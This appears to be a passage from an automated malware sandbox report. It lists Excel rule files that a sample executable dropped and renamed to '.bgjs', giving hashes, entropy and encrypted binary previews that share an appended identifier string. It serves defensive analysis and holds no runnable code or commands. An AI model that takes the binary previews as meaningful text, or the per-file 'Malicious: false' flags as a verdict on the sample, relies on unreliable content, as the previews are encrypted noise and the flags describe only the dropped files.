}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.730754173014296
Encrypted:	false
SSDEEP:	24:HvdGfnK6yThogFbNBUUQsGkp1uWziTkbD:HvdGf+igFbNupfWGiD
MD5:	2C3938016A5EF34E823D830D71A6B570
SHA1:	5471AFF76497CE9B1B7FFD14F3AD9DD3C3DAD77C
SHA-256:	109471262B6FA1B3B5FF838DF0EEC0D785905C5637C1CE83584D7B39B9B3E6F4
SHA-512:	952F25A05975A696B9C606FB58F4EAF8BAD3151F916D42B436E96B28B39803C9FFB52F9427FEEF8726E1FAA5927BA8042628C1E6F112CDAB2AB40C53BC241104
Malicious:	false
Preview:	<?xml...&.7....v.M.E....PA(QU......@`......U......>....+.........3.....[..>sO.%c....2...W.h....}.@PZ.....6..i.gsu...?8...C\.0...).Xk`D...\|....G...&S@.r1.y:5...t.?de...!.-.V8....._._.p...-^...CD.H...v.a...uB.Ssf5....L...Bi.)..?......../[.9........0/....'l.....=......(..".3..v.....cu.!0~.6..t..%.....4m.FI...w....D.s,.N.....^...c..?A."....Zo.zW"...xv.......u......#.v?5.....4...^@....U.......'../..\0...uO.KZ...QW5.}`D../...;......V?..6SG....;...L;5w%"...F.......J..xi.wg.ek.h+='.GO.._,.....;k.'.....?M@{.P...3@..=..<.;.....\|2N.]G.....[..r.8o...@.h..Q..n......d.eG.[...'U.m.s^..ZO.C..y8../....DJv....9..4O.2/..$i....D.).x.q..Uo7qlA.x...O.D...a.?..9...l.8.6,5j...jw$3V D..G_..f.Y...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.6830318139205325
Encrypted:	false
SSDEEP:	12:x/E9wPSDlgu8s6BFgxLQhwmPlFy8qzL9i5W6HmHoVqRt4l1WTDA2b8JEG/ixpZaX:xs9aSD2/mxL2ln+AVHm6qH4Pmez/iTkX
MD5:	1233D7F6297E1FBB71F69143F2803C90
SHA1:	79E509876E1D6ECC2720AB479CCFCF540438FE4D
SHA-256:	8B407C6B24D775BEF269219EE0D251F13C1D4C4BD951A9399D95F37CCA6FAAA8
SHA-512:	81D09E3BB91BB95E38F6314200F59FE974B7EB387C123ED1350F2EB8440A4F72131674315286F05FAF351FAF53892A5AAF0770C6D88F5FD91AF1C876DE7CC18B
Malicious:	false
Preview:	<?xml..\d3...02.9...C....Q..J.+.......d....;..O'W...~KT..4......N_..b6..y....8..j.L.?$.....<{i...\...vT$f.3,.....R.'`...B~..U.8......$..EP.s.qxc...T.+W.....U...}.O.."1......!p:A.CeD....D.....(.3*........q..k.{...M.^..f.......mj.>.3.Ufh.#..`."g$.\.G...4..,.......@...X..9.~...._.4.~..]2.7.N..,. ...../.a.b..B.....rk.~$.H(.._.U..hA{-......"#.a....2Gb...z...z.Y.k........j../...=..b\..os,\4<..V..e;Y......Q....J..07 u[.....)I]..wd.7.,....{d...-..N.A....+...Z..........6....y....Q@?......<.S.{$j...v.....+..q..F+..`..:.&..i....En79......L....c..$.s...:..U....L....fsU.7"l.`.3.r.n]...%z./..T.r....... .......+.%.@..h.,L..66..e.. D..c.n.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.727090881647095
Encrypted:	false
SSDEEP:	12:Ty1Z4HOtRjKjViTlxZ4DyDpbm76hScIhIO9jvjW+PAnKaCeek68pEixpZacii9a:e1ZXRjKj0zq6hScCLadBp1pEiTkbD
MD5:	043B1757C82C0CC3E72A1347DD9A1C41
SHA1:	AE18C29463C0983FF77ED7CAD18F6E8B024807F0
SHA-256:	0AB5B4C2AE6374E6432CF46B4B9643D86385D44E0C2DE53A42C299782A7CF6CA
SHA-512:	11B634DE13B31B6266C7688B5016B620A7FFD566209D0BC60D302C88F839CC4793C6252C80B153D174D218FE460F98AED834B9D9EC20DFAFBB30C0E1D08CDE36
Malicious:	false
Preview:	<?xml..A1..B..g).....1..I.r..e..%..0..`Q..,.~..K.C.V....W.)..i....oU.....p>..#.}.....?...yz.C4...U.cPl.:.g_.~22..V..L..f./..<..`.OA..r`K.x.bSW.Ixb..6.}.".k0.H.pV.$u.R.M..'..%P.#......%.q^.[).....H....sq.H.o.....m.....U.F.Q.<...[}..5\|tr.u./.41......,..=......a....2...........&..f.....L...48...8......c ._....`Y........4.HA..F.k.Q...h..g'.M....Vp..1.w.K...PY/....q......^P"j.r..u....M.-A5.Ar....c..O.U.@..N%g....y.\|..L.1...V.9>...m.J.>.$.;.......B....0.\|.P...".....-r(...J]..T....Z...%...,....C.5..7v.u8...O..^....d_..4.}...^4c.4....Q3.Li...M.w..........4.pi.Z]."K.zCz.m..W."....6...P.....Qs.."3c..7.=..9..\`..\~@.DK..-...O..F.q..r...U.m....f.m=a...'J.."r.~...g..]k..d...0.O......G..~.%\|.}Jx..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.671642469443892
Encrypted:	false
SSDEEP:	12:4h1Jw5aMTD6VcA+/t6+SEiBVbmmzgAXfDuoxv7+CIzRFkPAySqoBJ7VEyTqPIRaD:4h1sK5+16pEiBhmjyDzB+CInkPOPGPPD
MD5:	0239D4226BDC8DA170E8BFFB6363672B
SHA1:	692618C466370B4754E74AFDB16B318626AFB0E1
SHA-256:	E5F96E5D9549EE59A68F1C7EC26E72EE908FB7BF8701A1280772247384904DFE
SHA-512:	B428A6590879374392F0D03458114BEC12E4A5F158DE39C5F85959AC134A07CC528E44DE10ED551390258C3982803DA59385D2DE137CA2E516EB8A16181089AC
Malicious:	false
Preview:	<?xml....j@.8.`p...Q.K..//......!u./^?.......&.D...s.E..@/.%Xk...4..'.R./.X........f...:Z.u.6.b....=...YF...CM....5V@..3.+...)9EZ.J........<.C. ...)..........1..\3."..c./.2Z..2D..&....~...1...OGf..q../\...3..x..U.-.Z..oZ]7 9J$....L....".;....K...j}......r..sE..L/2s........S..KQ.ST+..2\|.gh...M.U."...Dq...........]N-.....S.......D?m."E2../.%.......Q.!..J.du4...lQ..b...3K..L..>.I.t.f.T..Fh2.......#Si.\|...... O.<d..7..V.'.kAE./.)..$\|.t../s...+....f..6.fR..\a...W.<..f....u.~'C.>&N0....l+/.Wc....w...............4Ze..t.......+.......v..%..e..9L.....vUZ.{M.t.....K......Q....x<zL.V.7%0!9.}.J.../3..R.x.d.Z.].J.....YD....9...%.A....r..m.PV6.n....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.688880757207221
Encrypted:	false
SSDEEP:	12:gtRpLdXS3c+tjBQEsFQZ3RQJA81w2Ii8//reoF7wxD04qBOesjnficzPixpZaciD:gt7BOtWpqIpfUCW7wxo44ShPiTkbD
MD5:	E0B0E743DEC6848FC940E7805658CE68
SHA1:	222540D262C0B9B3514C60BC806461CA162977B1
SHA-256:	7FF82214CBAB4F89494213CE074FC4F2F205EC78EEC71023EA97DB9AE6246080
SHA-512:	87E02025098175EC2399F609113EAD63742C69804FA8BA3B1D1905C7D77E801CCDE5D59E8317DB2103D1E3D0261AC77405E5C10F1558F36E701D89F42154216D
Malicious:	false
Preview:	<?xml..=k..Gq{U..\..Y.'Vy2....L\.+...>..v.X....v..l...w.L....y...w..N.z...}mLt..y..L.d+.o~..=W.h.l4.."I...H....nMU."......v....EG.-.$...`<U...w07$..K.....:.=f._..\|..K..B..A .PQ.Px2L...h..,.'O..s....\........W...V>...i._yIa9b.:l...F.......~}..MI....H^#...T'.....8....-......;'..'.x.[......m-H.5&.;.!n.=<[....f.,....q...$I.bg..ov....j. .....Z{.P.......(..5.-C...I.$........D......e..).-...Ky.e..\.p%.E...i..7,..T..".,@:.Ys.vw.I-8B-%....)...87.L.Vl+..i.).........Vo4.f."y.z.Rx._..+.^.r....,`Ev..mr..g..r....)..n..(..`Q.'..F...~....\IH.w..&V....S1.m`.l.........../....#......q.T.i.8Zd.F..a...Z..+..Dg4Z.)..c...vO+..4..Aip..A.-d.,`.N..y.A...7.d-.. 3.....^.....O4.lA.fZ..p...`E.0...:.2..prQbh.3.O.0;.Ur6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.661723296624
Encrypted:	false
SSDEEP:	12:4EXfckJa3tH1OLc4kCzYRINeDF2FlKzGbRFwmbuhdY+TIaFf8W+ZVJp8iDg7Nstu:4EX0EGkLclAhNeDFIzbPnuzz+ZVJp81l
MD5:	1A93C0B3FAE60CC588D6B32B0D8F8199
SHA1:	687A2821132183A89AB83984C66E02DA5C16B31A
SHA-256:	D211FD4044BD148111758FAFD0278B04CC5953356C964BAD6F427EABF2C97D0F
SHA-512:	E9E9C4E8017CAD59069BCB2CBE3A3B62AFAB78E90DEDD3CFBB8D72E8C48A63C060313E6090E20EEF36DCBB15881BD65B857BB2FF0BF0699BFDFCC12F5F77BA81
Malicious:	false
Preview:	<?xml......P.xP..q...9 ..:...7.O7..nb.....{O.wM.;..i\|..p)o...(..J._<o0.W~..N."...(......7m\|...Z....0.h...._..gP...u..p..$...x\|;...X...#...f....2j....3..}......N...V.......:........za.R.LW6U.R.<...d...)a-.6....#-7;L7T`.p>Ay....#..y.X..Q.T^P....[..w.._V.7a3.U......0y:.`8.#...hc....)v.G./...P}P...H..1UA1.R#D@.....7 ....N..;...q.L..a4Q}.M.-5...S..1Z..r:.G.,.Vb.F..P..gw.~..._x".....c..!..C\|h].....-yN.q&.6..(]./...._f.Z.S...2...fr.....{.T._J2.{.....*.@.......B..p.....\|........".4..5"...n.".y/f...O..?mH.N..{.....r..........z..Sw..i@(.!.......:.......`..V'z.zm$i;.K....L'..f..g.r....;..."..ZU....{...."..gx.rT..\.Y\.t#..DP..9...!.!wB.Q.CP...h..f.#vO..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7266972879889435
Encrypted:	false
SSDEEP:	24:RcdDzJhjAEUueJ46AfwVJLxVIi0VABYwgzAjRziTkbD:RcdfjA/ue3NVJVV/0sYwgzAjRGiD
MD5:	3542ADDF3A616ADE11C6A82949D57D98
SHA1:	3AB5C502BB31CA68ECC7CCFF163CB2ACC86913D1
SHA-256:	C7CCADAE4EC04BB60C0521A3DBA0B3D3F78079EA53C8468AEB692375E106E19E
SHA-512:	7396268366CA95786208C083B71035680F5D5A300E45CCED2329E2FE737F6B6A2F3F14B1EFD647FCB10E520DBBC367654D13756C6618B3BB165B80B1438A4E26
Malicious:	false
Preview:	<?xml....B...1A.......D...e9.B.yE...B'.D.{j.L.F........._.C~..l..AS..J...5....l....>...3).0t..c.W....M.t.Cj\]...m.{\|.h..'...P.-.RGhAE7...D.z..._.5..D...5\|...T.Yh..P#..$.....tfa.....G@.a.j)J.......S4..\|..Q.Q.rZS-%........:M....Vn?.......^...g....dwU..........Q.6A.F..>.sk:..?.#.`...Y..+....~..[...\Bj.\?..F..?#H`.%...7.)-y'.=.IU.O8..\...1...W...Dv....+L[.OZ.8.. .[..+..6T.!k..wB.$.!....sL.a9#...'"b?Z`.....wt..*.p...S.,.qD..P....5.H_[.JT.3...u.h....H.[.?. T.UM..........ba.......-j8..5.4.!_...f..\|...;@5e..I&......1......#."..G..i.............Y.Y.DU...n. .z~..t...;..e!........$...+.Tg}}..\|..Ox......u..f.FE=nA...dy.,...J...)%/s.v.8.7.......C........f.j..Q....uA.7+.[...8.Mp...P9QH.Ar.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.727757829199725
Encrypted:	false
SSDEEP:	12:muoJPy9sO/O1BxPPoR8lvpIPvxx7BL/MU8I+J6VtWr4DU6sKSGIycMVLm2uOKPG7:mu0aCO/EHo8hgxxFL/6j4oZppyX3uOKs
MD5:	0C004AAF382A15EC1C740D514A5A2BA3
SHA1:	70B782FC4A31AF2A9F4F89B1AA4E77C63F584581
SHA-256:	38F839571211DD94370E06532208BBD1380DD858D9984A1EFD67AF98668792FB
SHA-512:	7C20734C09BB0CA1A6C3F88E5E489E174A880D33B7FAC4B349FFC5B3D09775AFF8F9AD4D8FDFE91D47E01EDAACD95BBB8B112C0C79E9FDFB956107105050243A
Malicious:	false
Preview:	<?xml....:kL. ).P.q.h..#.3.....f.(&.gW-k..Ck$[..J...J......2.,...k.}...}..G.a...9..7p....$...ji\|.....{.Z...$B..M.x....<....l.g..;6.....\;}...]....T..E..F..n.?.8..fK..g..'U..w....!$..m.`bC.+.ID*_Z..D0.U.\|[..%....E^z>.z....+D'h.eV.k.~Gr..uA&....2M.B...Zk.d..%m.".l.9b.C.1...tZ.'M.r..u..i1`-.z.._e<....;E..K.H,$.........?./..z.(.....v.0..5tR@.n.,..>c.+H%.[E..9.~Sn.A......?.^..~.sZ......^....`..qKx.`.y..#tN....v.:......5..a.......6++.)g..%g."...k.].._..x..&..\|...Bc..b..;....@...C.....9. ..t..?w%1.......x+.!..Q(.t..Hyx...n...%.j.c1....WK....K.Z...d/.kv........a.".j....Z...qb.?..=.ZHG.C..#..,.p.....,.(..,....n..o.l!...%x...PI..6S=...4.R]..........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.722422906874313
Encrypted:	false
SSDEEP:	24:AxZESKxyFY+NetdK3G2qE7S5e15JZ6rblj5KKrvocViTkbD:ArE9ya+bR/5JQnzfqiD
MD5:	C55ACAA67EF775498A6BBFD50D35DF25
SHA1:	DEFF15D21AC319AA6DE25F4B196803C810245161
SHA-256:	5D7BE7D1DB072BD92E90D1154479A0AD614C79D490740F00967FA31316E8ADC2
SHA-512:	0A24B840716FB3109405E805D2C978E7CD48937F44D9B8E804F761188D544BCABD0EF18A09A8B4FE14D4D5284A24D33D47452BEAAC3F1865CE1663B2F5BB11BC
Malicious:	false
Preview:	<?xml^.{h...hJ-n.u....pe..&v........Z,.V..!...f........R^.71.x].D....P..V...JS.E.......5vd..9.3b.....s..j.qO.h,.W....\|...p1.?..F.h.......Z^..bg._.K.u$......n.T.i...[i.....R].uy...`.O..)..65..1]I...p}.T{.m[..........ZB-............qd.....E..i)N...[.m.....MbI....i/Nl...C.u.....:`'..H\|.8...."X..k....3.$\|[e..O4u..&.\.D..$B...4..."....D.N1s)g..VK. [_.o.@.]P...2..g....[{...leN...\f..k.......;.u<...d.1........B......lWF.S.gV..Q.5z..^v.)..`..}...-..D..G..r.. ...G..p.m....Ba..0..h)...E+..'..s.T....U..v.]_...........}L...6.n-...f..!.).).m4.y...7...!.`..!.w.9.D.t....U{........e....Q.S.:[4.H\..wk~x..;.t.....Tsg.a.......o...r..2J..;........h.=.[...K....[........).Z/.<.5.A.;...z..gm..h..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.741890137833928
Encrypted:	false
SSDEEP:	12:+s4Rr1z9AkEFy+1w4/hzYDzVR7lJHFpKPReAw0B8gJHNLUzIJexmOjEiixpZaciD:Rohzn+1h8zlxfKAM8ytgzIJJWiTkbD
MD5:	87DDF58D5408AFC9163D00A2ADF4BC91
SHA1:	C46A2ABC71ABDDB698A43C16C878EE6DAA8FC1CB
SHA-256:	323EACA6E978E9962469BD8467E06909F8833186A7C94E6D94E162B86EB9600E
SHA-512:	5E405D37D3EE8D2513C2E98374666A7F439092C3DE3BA3C994BCD9803C7163FC747488985BA37CB4893BED9CC90C2D11B433F382AB388D17CD9B48D5B3A6B6ED
Malicious:	false
Preview:	<?xml..a..L..&..>E.....q..+......y.e......\|.Gr..KY......l.mN...A..~W.....U.:6..."...2..YPe.+. =!H...(.Fe"...e...y......""<...L..i..^..Q..%..v..ld.TF&..I..z..3j.C./ (..Ss.(.a...SQ:.=........R.......^.o.....L..Qe.X.gC."._.!..JS{.....8.....^..I....}....j7.\Z.(F.3..og......4[.@.>...>.T.L.{........23.......P..FX...f..B.y...bA.c{.)jU..W..K.9......\...~.....L.f.`.i.....2........ Z3...^.w.....a....6+Z..Gn..K..Z...........}..6...{x..........4~4EEp.5.t.N$........Ma5..e..../q.:........l!mOeu.s.....x.P..I.i+...4h...$&..?.[.....3.!....................~.P..W...XiNQ.2.C...:~.f.H..H/GW.+H.\|.w.;.=J.j.k.-s.....Ow(..T.O...v.#..<v.V.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7322937213430345
Encrypted:	false
SSDEEP:	12:1gS7dMfypJ4RYLqODaQZ8H/b9o7hP0c4Jva2r2/HnPDJi2+8F6r3GuD8M5SwEFOU:1gVsKci8B0c4JSBHtZsGnWCksiTkbD
MD5:	1131DC422EE442EF1175773094767A6D
SHA1:	4209991C7DD8B94D8069D996C14918EE5D468BC6
SHA-256:	B7A2B67EB69A963E3BB1FDB17FACF7E6AEDAA31390A0BF86E7273F4588B1408B
SHA-512:	9DDE89F3C82D60E34065E6F655F8D40005739636408F5C591E937E7219D4EDD94E66C938AC53249B5D58502C52232AB2126B16C9CDF583F70A2F0A3F1ACAE121
Malicious:	false
Preview:	<?xml..&...C.{.b\..`a.N...R..f.....U.B.A.,..h~..T....5j..../.hv.y.H.o.8..lev...@/..+..$1C.1Gh[m=....(?...x.'Ov.U.+.kwT...2..{.Zw..Q.j...A......;;.f..m.+.X?.m...Iegi1R.#^.T....M...!..).Z.)...W.`.;...c{....[.R..m.4iH].5B.J5K...gr.z2..3.5...>..9R..vX.L.....T{.rn..\|.J%.Ms..].tO.H^......?fHo..<.)s.%"...^.%.n.< .M....B7c.&...m...fN...V.l8 .....@...fkqlu...s.6....=D...*.Q"...1...]D.1...E[.t.~`..I...o l.1.D.'. '..\|....@...4+..O.N.:.}.J..C.OBk.....$...L._`5...=.)..j.R.\.7..P...x.`.I........m.....8y&...........:........V..\r..;$Xh.\|.,AQ`./.N....0.....r.~..%.VbJ.:I.?."].'.....2...0#D.(.o.-....c@.o.UH.k.Y..a.^.{S..u{....a..\|..$p...p....h...^.].,..}.\v......mkC...8...&.....Y..U.A..~.3G:......]^..S.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.457881918246521
Encrypted:	false
SSDEEP:	12:LBI2VfOQAZN4dcWzKCKpS7Ze+kya6mGLfaMOMYK2ixpZacii9a:1I8kZNqzKFIZnkya6pLfaMmtiTkbD
MD5:	CACF67A714B8294499036CC487CAE7EE
SHA1:	238C4990E8A4C9ECA8A17025E2E647560DA98706
SHA-256:	0333F831C0DDB7083AE712251136B28E956EBA5DBF5B1C5E0B4B5F27B0AC6A70
SHA-512:	EAE7C3EEA875714A07921DA87DF1E32621E031B9197947C115D35B2FCE91EA9AAA68C6845F4F18CDDAE1FE9B7B5EB6FA83704CE771271BB838E03542572AD39E
Malicious:	false
Preview:	<?xml..0.$...N....P^._.t.-W.._.L.i.nL...I.Gn'Vg...r.>.....{S..+$.k.}.`)......c.'=j.>.."..g........hO8.b.Ny{.X&p6..^.@1n.f\|K.5q.g.m..92.q\|...A}...:.'p..9Gz.e.W.4.,.2..r.B.9[..HIJ{K.XB6.PQ..I.h8......7=....}......\|{M.F.-...\H..F7..p...*W._.mBf.J.fbL...:...........Dg,....$.v^l.i.-c....:.G%P+...,u..a.l...5B...&(..\xn.m.f......~n.5..@.<..'..@...!...Sf...?9.H..N.g..o..x.A...F%.B...TX.@.N77.'....P5K...J.q..F.~.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.914403716278152
Encrypted:	false
SSDEEP:	48:DZpInpQ5rhqMVHKl8sJG/PaNuSeFKiY8z4Hb2PCrXMiD:Djh7HKl8qple5YxHfX
MD5:	48EF9EDA3207433ACB18C78146E7E7DD
SHA1:	813182C8723636FEAD48A274475CA6F373B14541
SHA-256:	532A367D0F3A563CD84AF22421B9FE5D96D7EC5FBC231CDA58CE7C7584851F7D
SHA-512:	0CB08E9C00B4F94AA482E10F2BAAAE49844938058D2DEE9455993DD2DF9D851E4902D7C4D82E81EFA2DCABF34047163043377A1C48A0CDFF7CD9EE183CDB30E0
Malicious:	false
Preview:	<?xml..h.n`.....`>..jR.. ..t.6...b....J....=_A2B.>..?Sd=.W...p8..F.k_b+..~(.Lo..N......G..{.....#...}6...\.....R)?(./}>.Ii...U].}..`.-Wv......a. cc..,...i..........mq..z.W_.\......0U?b.4^l...n.\|.:.&..E?2o.j.w.hx.+...P.R..Z...aS.u@.O....+....I&[.;[.1.......8}.1....c4..?........'..0t..&...-...r..[....c..C\|......<....^.H.0..F/DD...4h.w...Es3U./...ko~I.0m...#....\|.~.Lc.......v..K..U. .Y.zGm..D.>.....?C......"R..B...c...<..D.W.L.AS....+...O.\8...iN..6..@B<a.....x.?D.....4{\|.uv.Ctnrz(.91.9..f..T...?fAe..E.gy..-.(?.....5....F;..5!..(.....T....'..."..]5+..UX.s{..[q..x..,..1.AB=Atk......n5 ..`A....p......x...B"V.....'...=..VG.,}...4....O{.........l...X.vKQ.q.n{:k.J..-..Q..k..p...x./u..x....O.PG..^k...;........'j...v.7B.8......S.... ...Bm.c[...`.'.]<D.3J...C.G..}wH~...r\:.UD.l\.p...B..z@.%\|.B..y-W.I......)Z.....A..0^...{O.J..K..\|)).5.Q...jL.p3...<.19.K.Z....f.87C.........../.....w....'.6.T...a.\....~.e.`.l....Oy.......2...?.#.Ez.O...W^.^....n

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.852532995995688
Encrypted:	false
SSDEEP:	24:aGEwJjAJjPfxN3u2atqv/tIgbYhW0m8o2J2nHVJ1r3XiTkbD:aG7CJ9N3vcqniVhJoAe13yiD
MD5:	291975E944E632C013DFD9E38AF287C4
SHA1:	53620CACD2EC4E29E5059EEEE2A32B7CF1782A98
SHA-256:	129B32CA64A688ACD739251A194EADC3B509C116D22877486A30966CFAC5F051
SHA-512:	D6D19AC830B90DDE28E2A767791D70E662C626437FA507CBF354A45D53AAAFE26DCA583D53ADE05BCE148A98764A8EA4EB6EBB86D2ABF250E97313B72CB694E5
Malicious:	false
Preview:	<?xml..$8..9_..^.pC......{+D.s.].[...~.n..`.@....=..!..9..z..N..(_T.P....F..].A.3..Ua..t.8)....4..2...~5.u.ix......UD6.&%...B.9.....`..#@..;.GTT./.y .p9..c..J..E1Y.s....$x.e.Si........!..Q..Nd..r..@)./3.=.k\|...59../1..ku.A....B}...u...b.3.R.!x...j..4l.).?....f_....[%QT.r......5.F.=..sljx.....D0..W...........J!.t[.TEF........d.&r_.Zd.5.Z...5.R.Y....l..N...@U..t.Nu..1.....m...p..j..... ..5.}.y.s.U...p#..(+M....v.......+....z...,.3.....yj....^....M........Nq.)Z.E.]...G_..1:....H..2....D9].o.3.p..1.....+/.%...d..,..\..m..6...e.....b.0.....c...nu.1....]...\P...x%...he.0.C[....A..y.%..x.P.....G .z.r.q..W.....y...1W...2...f;}......!...$.}...w.....}X(b+.CX......\|E.w..<..._;s...rDWX.+.D.@.1.uOR...S$....Go....0.......d.I..P..Ch..2.\|Ld/5.^I.V8b.....l...F.e.#.h?..;..9\|..'(.:s:.Zh..N..?,.....m..t.....L....\>%...2...C3....K.e..r....p.-...p..E^.....T...Z.>...?..1....f....i.'...pF........].X.@[.i..j..?.Q<...l..s....2!.....=.z..Y7Y`.6a..p

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.7550064516098205
Encrypted:	false
SSDEEP:	12:igXdu3fAYNUa7ToUwZWXL2waL5Z09mzmJ5S//4pdvZoVIcHbenWX2GpMFyLixpZE:3XduvecF4Jta3S/ApDoVIuTMCiTkbD
MD5:	05D4EC892BD3132A00BB9A6B6EEA379E
SHA1:	8EFCA45730D03A96F148089E5F2E3B205055C1F1
SHA-256:	EA5F8D338B2B619305D42883C4239E52F410612309C5A0ABA6A9EC5DC877575A
SHA-512:	E2D9EC331F8A359355899159DA38B092AC48B9250CD81FB3D0CCF16D72320DFFD0B8B28C2C3FB5CFD6280B1334BFF4A22735F54F4F637B9DA6BEDD62A402FFAF
Malicious:	false
Preview:	<?xml...PQ...dO.sS.n.u..D.Y..4.&.}MJ.\|.7.......+....8..."...'....MNA...H..FN.sUa.......+.......8.7.J....2~.]X.......1.........<.c[...Yy......j...7\...f...,....[.:.......L2..*..~..O7.}\b....K..."..xa.$'.u-...g....j....lKsrk.W2.....{.....&....`.xKss\....vt..z..of...B.c.6_......).q....d.O.UK.V..:....&O.`..K\..._...-.t.d)}.8.....k'%..;.^...........x..G.=..Q.....clX....Q../.....7Y!,..W....K ~4.........`k...GX..-..9x...U.'.e7k.<.e`H.C.}...)R.......A.H..jh.._.r....q..~.)a[`u......?...!.b..^......:..... _.<.q........5.n.........K..w..34...K$G.F.e.g..p.......T...rjS...`..}...D..l.Xq.fm.l..".m.e...m<.u.J..z...@h....f.............S!K.p.... .u}:.w...N./....Z.....b.s#...1.E..x....Pr..d8.M...E.BJV8TY\..a..Q..-/R;#.....&r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.630902340161458
Encrypted:	false
SSDEEP:	12:+cvVe/MHePxj3OG36Pqwch9TS2cryLU0f5eHVDuLWVh9ftZ9lF/syixpZacii9a:+cvVgM+PJ5SFcLTdcW1yOWL9FrYyiTkX
MD5:	E4B284B25526AD8BA4CCB14C4BB53E82
SHA1:	F75B7FE33A8A6CA79C32D0DF5FE39CD8E9AEDA23
